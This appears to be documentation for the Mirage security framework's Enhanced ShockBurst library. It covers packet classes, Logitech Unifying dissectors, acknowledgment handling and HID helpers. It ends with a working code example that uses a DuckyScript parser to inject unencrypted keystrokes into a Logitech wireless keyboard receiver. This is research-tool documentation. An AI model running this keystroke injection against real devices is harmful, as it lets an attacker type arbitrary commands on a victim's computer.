Enhanced ShockBurst protocol ============================= Mirage includes a lot of software components allowing to communicate with Enhanced ShockBurst (ESB) devices. This page presents a subset of these components, and provides some basic examples presenting their usage. Enhanced ShockBurst modules ----------------------------- Mirage includes many modules allowing to analyze the security of Enhanced ShockBurst communications. These modules can perform attacks or useful actions in order to manipulate a Enhanced ShockBurst device. The available modules and the links to the corresponding documentation pages are listed in the following table : .. include:: list.esb-modules.rst Importing the Enhanced ShockBurst software components ------------------------------------------------------- Every software component described in this page can be easily imported from a :doc:`module ` or a :doc:`scenario ` environment using the following statement : :: from mirage.libs import esb Then, every component is available using the ``esb`` namespace : :: packet = esb.ESBAckResponsePacket(address="11:22:33:44:55") Interacting with the protocol ------------------------------ Mirage currently allows to interact with the Enhanced ShockBurst protocol using an NRF24-based device, embedding the `RFStorm firmware `_ written by Bastille Research. The supported Devices are listed :doc:`here `. If you want to manipulate a specific device, you need to use the corresponding Emitter and / or Receiver with an interface related to your device. The `following page `_ explains how to use these software components. Enhanced ShockBurst packets ---------------------------- Mirage manipulates the Enhanced ShockBurst packets as child classes of ``ESBPacket`` (`mirage.libs.esb_utils.packets.ESBPacket `_), which is itself a child class of ``Packet`` (`mirage.libs.wireless_utils.packets.Packet `_). The following list describes the available packets and provides some links to the corresponding documentation pages : * `ESBAckResponsePacket `_ * `ESBPingRequestPacket `_ * `ESBLogitechMousePacket `_ * `ESBLogitechSetTimeoutPacket `_ * `ESBLogitechKeepAlivePacket `_ * `ESBLogitechUnencryptedKeyPressPacket `_ * `ESBLogitechUnencryptedKeyReleasePacket `_ * `ESBLogitechMultimediaKeyPressPacket `_ * `ESBLogitechMultimediaKeyReleasePacket `_ * `ESBLogitechEncryptedKeystrokePacket `_ Please keep in mind that Enhanced ShockBurst only provides a physical and a link layer: the applicative layers are defined by the manufacturers itself. Mirage currently implements the Logitech Unifying applicative layer. If you use a sniffer such as `RFStorm `_, some additional informations provided by the sniffer can be included in the packet using the ``additionalInformations`` attribute. The additional informations are stored as instance of the class ``ESBSniffingParameters`` (`mirage.libs.esb_utils.packets.ESBSniffingParameters `_). Enhanced ShockBurst Dissectors ------------------------------- Some Enhanced ShockBurst packets may include complex fields, that's why Mirage provides some dissectors allowing to easily manipulate them. A dissector is a class allowing to easily convert a complex data structure to the corresponding raw bytes, or the raw bytes to the corresponding data structure. Every Enhanced ShockBurst dissectors inherits from ``Dissector`` (`mirage.libs.wireless_utils.dissectors `_) and are documented `here `_. The ``Dissector`` class includes some magic methods in order to facilite the manipulation of the complex data structure. Indeed, it is represented as a dictionary, but every key of this dictionary can be accessed as a standard attribute of the class. Two main methods are provided, ``build`` (allowing to convert the data structure to the corresponding raw bytes) and ``dissect`` (allowing to convert the raw bytes to the corresponding data structure). The complex data structure is stored in the attribute named ``content`` while the raw bytes are stored in the attribute named ``data``. Mirage provides a dissector for the mouse position and keystroke fields linked to the Logitech Unifying applicative layer (`mirage.libs.esb_utils.dissectors.LogitechMousePosition `_ and `mirage.libs.esb_utils.dissectors.LogitechKeystroke `_): :Example: >>> LogitechMousePosition(data=bytes.fromhex("feafff")) MousePosition(x=-2,y=-6) >>> LogitechMousePosition(data=bytes.fromhex("feafff")).x -2 >>> LogitechMousePosition(data=bytes.fromhex("feafff")).y -6 >>> LogitechMousePosition(x=-2,y=-6).data.hex() 'feafff' :Example: >>> LogitechKeystroke(locale="fr",key="a",ctrl=False,gui=False,alt=False,shift=False) Keystroke(key=a,ctrl=no,alt=no,shift=no,gui=no) >>> LogitechKeystroke(locale="fr",key="a",ctrl=False,gui=False,alt=False,shift=False).data.hex() '00140000000000' Acknowledgment packets ----------------------- The Enhanced ShockBurst protocol allows to manipulate two main roles: PTX (transmitter) and PRX (receiver). If you want to implement the behaviour of a PRX device, you should be able to transmit acknowledgment packets. Mirage provides a simple implementation of these packets thanks to `ESBAckResponsePacket `_. The supported device allows to automatically transmit this frame when an incoming packet is received, thanks to the AutoACK mode. You can enable and disable this mode using the following shared methods: * **enableAutoAck** (`mirage.libs.esb_utils.rfstorm.ESBRFStormDevice.enableAutoAck `_) * **disableAutoAck** (`mirage.libs.esb_utils.rfstorm.ESBRFStormDevice.disableAutoAck `_) :Example: >>> self.emitter.enableAutoAck() >>> self.emitter.sendp(esb.ESBAckResponsePacket(address='11:22:33:44:55',payload=bytes.fromhex("AABBCCDDEEFF")) If no frame is provided, then an acknowledgment frame containing an empty payload will be automatically transmitted. HID helpers ------------ The Enhanced ShockBurst protocol is commonly used by wireless mices and keyboards. As a consequence, it may be useful to manipulate the HID protocol, which is generally used in this context. In order to facilitate the interaction with this kind of devices, Mirage provides some `HID helpers `_. As an example, the `HIDMapping `_ class allows to convert a key to its code and modifiers and vice versa: :Example: >>> HIDMapping(locale="fr").getHIDCodeFromKey(key="a") (20, 0) >>> HIDMapping(locale="us").getHIDCodeFromKey(key="t",ctrl=True,alt=True) (23, 5) >>> HIDMapping(locale="fr").getKeyFromHIDCode(20,0) 'a' >>> HIDMapping(locale="us").getKeyFromHIDCode(23,0) 't' DuckyScript parser ------------------- The `DuckyScript `_ is a Domain Specific Language (DSL) allowing to describe a keystroke injection. It has initially been designed in order to control an offensive hardware component called RubberDucky, allowing to perform keystrokes injection attacks. As a consequence, this language is really interesting if you try to perform keystrokes injection attacks against a wireless mouse or keyboard. Mirage includes a simple parser (`DuckyScriptParser `_) allowing to generate a list of packets to inject according to a provided DuckyScript file. In order to use this class, you must define four functions that returns the sequence of packets for a given action: * **textFunction**: function corresponding to text injection * **keyFunction**: function corresponding to keystroke injection * **sleepFunction**: function corresponding to a sleep interval * **initFunction**: function corresponding to the initialization of the process As an example, the following code snippet shows how to use this class in order to generate an unencrypted keystroke injection targeting a Logitech Unifying device: :: def addLogitechKeystroke(locale="fr",key="a",ctrl=False, alt=False, gui=False,shift=False): keystrokes = [] keystrokes.append(esb.ESBLogitechUnencryptedKeyPressPacket(address="11:22:33:44:55",locale=locale,key=key,ctrl=ctrl,alt=alt,gui=gui,shift=shift)) keystrokes.append(wireless.WaitPacket(time=12/1000.0)) keystrokes.append(esb.ESBLogitechKeepAlivePacket(address="11:22:33:44:55",timeout=1200)) keystrokes.append(esb.ESBLogitechUnencryptedKeyReleasePacket(address="11:22:33:44:55")) return keystrokes def addLogitechDelay(duration=1000): keystrokes = [] number = int(duration / 10.0) for _ in range(number): keystrokes.append(esb.ESBLogitechKeepAlivePacket(address="11:22:33:44:55",timeout=1200)) keystrokes.append(wireless.WaitPacket(time=10.0/1000.0)) return keystrokes def addLogitechText(string="hello world !",locale="fr"): keystrokes = [] for letter in string: keystrokes += self.addLogitechKeystroke(key=letter,locale=locale) return keystrokes def startLogitechInjection(timeout=1200): keystrokes=[esb.ESBLogitechSetTimeoutPacket(address="11:22:33:44:55",timeout=1200)] return keystrokes parser = parsers.DuckyScriptParser(filename="/tmp/ducky.txt") attackStream = parser.generatePackets( textFunction=addLogitechText, initFunction=startLogitechInjection, keyFunction=addLogitechKeystroke, sleepFunction=addLogitechDelay ) emitter.sendp(*attackStream)